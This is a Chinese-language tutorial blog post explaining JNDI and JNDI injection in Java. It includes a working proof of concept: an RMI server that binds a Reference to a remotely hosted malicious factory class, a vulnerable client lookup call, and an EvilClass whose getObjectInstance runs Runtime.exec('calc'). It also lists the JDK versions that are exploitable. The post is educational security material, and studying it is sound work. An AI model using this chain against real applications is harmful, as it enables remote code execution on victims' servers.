文章目录
【java安全】JNDI注入概述
什么是JNDI?
JNDI(Java Naming and Directory Interface)
是
Java
提供的
Java
命名和目录接口。通过调用
JNDI
的
API
可以定位资源和其他程序对象。
命名服务将名称和对象联系起来,使得我们可以用名称访问对象
JDNI的结构
jndi的作用主要在于"定位"。比如定位rmi中注册的对象,访问ldap的目录服务等等
其实就可以理解为下面这些服务的一个客户端:
有这么几个关键元素
- Name,要在命名系统中查找对象,请为其提供对象的名称
- Bind,名称与对象的关联称为绑定,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP
- Context,上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文
- References,在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C中的指针
这些命名/目录服务提供者:
协议作用LDAP轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容RMIJAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象DNS域名服务CORBA公共对象请求代理体系结构
在
Java JDK
里面提供了5个包,提供给
JNDI
的功能实现,分别是:
javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir-Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
InitialContext - 上下文
构造方法:
//构建一个初始上下文。InitialContext()//构造一个初始上下文,并选择不初始化它。InitialContext(boolean lazy)//使用提供的环境构建初始上下文。InitialContext(Hashtable<?,?> environment)
常用方法:
//将名称绑定到对象。 bind(Name name,Object obj)//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。list(String name)//检索命名对象。lookup(String name)//将名称绑定到对象,覆盖任何现有绑定。rebind(String name,Object obj)//取消绑定命名对象。unbind(String name)
示例:
importjavax.naming.InitialContext;importjavax.naming.NamingException;publicclass jndi {publicstaticvoidmain(String[] args)throwsNamingException{// 构建初始上下文InitialContext initialContext =newInitialContext();// 查询命名对象String uri ="rmi://127.0.0.1:1099/work";
initialContext.lookup(uri);}}
Reference - 引用
Reference
类表示对存在于命名/目录系统以外的对象的引用,具体则是指如果远程获取
RMI
服务器上的对象为
Reference
类或者其子类时,则可以从其他服务器上加载
class字节码
文件来实例化。
构造方法:
//为类名为“className”的对象构造一个新的引用。Reference(String className)//为类名为“className”的对象和地址构造一个新引用。 Reference(String className,RefAddr addr)//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 Reference(String className,RefAddr addr,String factory,String factoryLocation)//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。 Reference(String className,String factory,String factoryLocation)/*
参数:
className 远程加载时所使用的类名
factory 加载的class中需要实例化类的名称
factoryLocation 提供classes数据的地址可以是file/ftp/http协议
*/
常用方法:
//将地址添加到索引posn的地址列表中。voidadd(int posn,RefAddr addr)//将地址添加到地址列表的末尾。 voidadd(RefAddr addr)//从此引用中删除所有地址。 voidclear()//检索索引posn上的地址。 RefAddrget(int posn)//检索地址类型为“addrType”的第一个地址。 RefAddrget(String addrType)//检索本参考文献中地址的列举。 Enumeration<RefAddr>getAll()//检索引用引用的对象的类名。 StringgetClassName()//检索此引用引用的对象的工厂位置。 StringgetFactoryClassLocation()//检索此引用引用对象的工厂的类名。 StringgetFactoryClassName()//从地址列表中删除索引posn上的地址。 Objectremove(int posn)//检索此引用中的地址数。 intsize()//生成此引用的字符串表示形式。StringtoString()
示例:
importcom.sun.jndi.rmi.registry.ReferenceWrapper;importjavax.naming.NamingException;importjavax.naming.Reference;importjava.rmi.AlreadyBoundException;importjava.rmi.RemoteException;importjava.rmi.registry.LocateRegistry;importjava.rmi.registry.Registry;publicclass jndi {publicstaticvoidmain(String[] args)throwsNamingException,RemoteException,AlreadyBoundException{String url ="http://127.0.0.1:8080";Registry registry =LocateRegistry.createRegistry(1099);Reference reference =newReference("test","test", url);ReferenceWrapper referenceWrapper =newReferenceWrapper(reference);
registry.bind("aa",referenceWrapper);}}
这里创建完
Reference
后又调用了
ReferenceWrapper
将其传进去了,为什么这么做呢?
因为我们前面学习
RMI
的时候,将类注册到
Registry
使用的类必须继承
UnicastRemoteObject
类以及实现
Remote
接口
但是我们这里
Reference
没有满足,所以需要使用
ReferenceWrapper
将其封装一下
publicclassReferenceimplementsCloneable,java.io.Serializable...publicclassReferenceWrapperextendsUnicastRemoteObjectimplementsRemoteReference
JNDI注入
JNDI 注入,即当开发者在定义
JNDI
接口初始化时,
lookup()
方法的参数可控,攻击者就可以将恶意的
url
传入参数远程加载恶意载荷,造成注入攻击。
JNDI注入的过程如下:
- 客户端程序调用了
InitialContext.lookup(url)
并且url可以被输入控制,指向精心构造好的RMI服务地址 - 恶意的RMI服务会向受攻击的客户端返回一个Reference,用于获取恶意的Factory类
- 当客户端执行lookup时,客户端会获取相应的
object factory
,通过factory.getObjectInstance()
获取外部远程对象的实例 - 攻击者在Factory类文件的构造方法,静态代码块,
getObjectInstance()
方法等处写入恶意代码,达到远程代码执行的效果 - 既然要用到Factory,那么恶意类需要实现
ObjectFactory
接口
具体攻击流程图:
JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:
协议JDK6JDK7JDK8JDK11LADP6u211以下7u201以下8u191以下11.0.1以下RMI6u132以下7u122以下8u113以下无
JNDI & RMI
利用版本:
JDK 6u132
、
7u122
、
8u113
之前可以
JNDI注入使用Reference
首先搭建一个服务端:
RMIServer
服务端的创建,按步骤来
- 首先是注册中心
- 然后是恶意类所在地址
- 接着是创建Reference对象引用,绑定恶意类的地址
- 绑定Name
importcom.sun.jndi.rmi.registry.ReferenceWrapper;importjavax.naming.NamingException;importjavax.naming.Reference;importjava.rmi.AlreadyBoundException;importjava.rmi.RemoteException;importjava.rmi.registry.LocateRegistry;importjava.rmi.registry.Registry;publicclassRMIServer{publicstaticvoidmain(String[] args)throwsRemoteException,NamingException,AlreadyBoundException{Registry registry =LocateRegistry.createRegistry(1099);String url ="http://127.0.0.1:1098/";Reference reference =newReference("EvilClass","EvilClass", url);ReferenceWrapper referenceWrapper =newReferenceWrapper(reference);
registry.bind("class",referenceWrapper);}}
然后搭建一个客户端
RMIClient
(客户端也是受害端):
importjavax.naming.InitialContext;importjavax.naming.NamingException;publicclassRMIClient{publicstaticvoidmain(String[] args)throwsNamingException{InitialContext context =newInitialContext();String url ="rmi://127.0.0.1:1099/class";
context.lookup(url);}}
然后需要创建一个恶意类:
实现
ObjectFactory
接口,把恶意代码写在
getObjectInstance
里面
importjavax.naming.Context;importjavax.naming.Name;importjavax.naming.spi.ObjectFactory;importjava.io.IOException;importjava.util.Hashtable;publicclassEvilClassimplementsObjectFactory{static{System.out.println("hello,static~");}publicEvilClass()throwsIOException{System.out.println("constructor~");}@OverridepublicObjectgetObjectInstance(Object obj,Name name,Context nameCtx,Hashtable<?,?> environment)throwsException{Runtime.getRuntime().exec("calc");System.out.println("hello,getObjectInstance~");returnnull;}}
搭建好了以后我们首先运行服务端:(注意jdk版本)
然后我们将
EvilClass
编译一下,使用python开启一个http服务:
接着我们运行客户端RMIClient:
我们发现已经成功执行代码了,并且是在客户端执行的
可以参考这张思维导图:
版权归原作者 Leekos 所有, 如有侵权,请联系我们删除。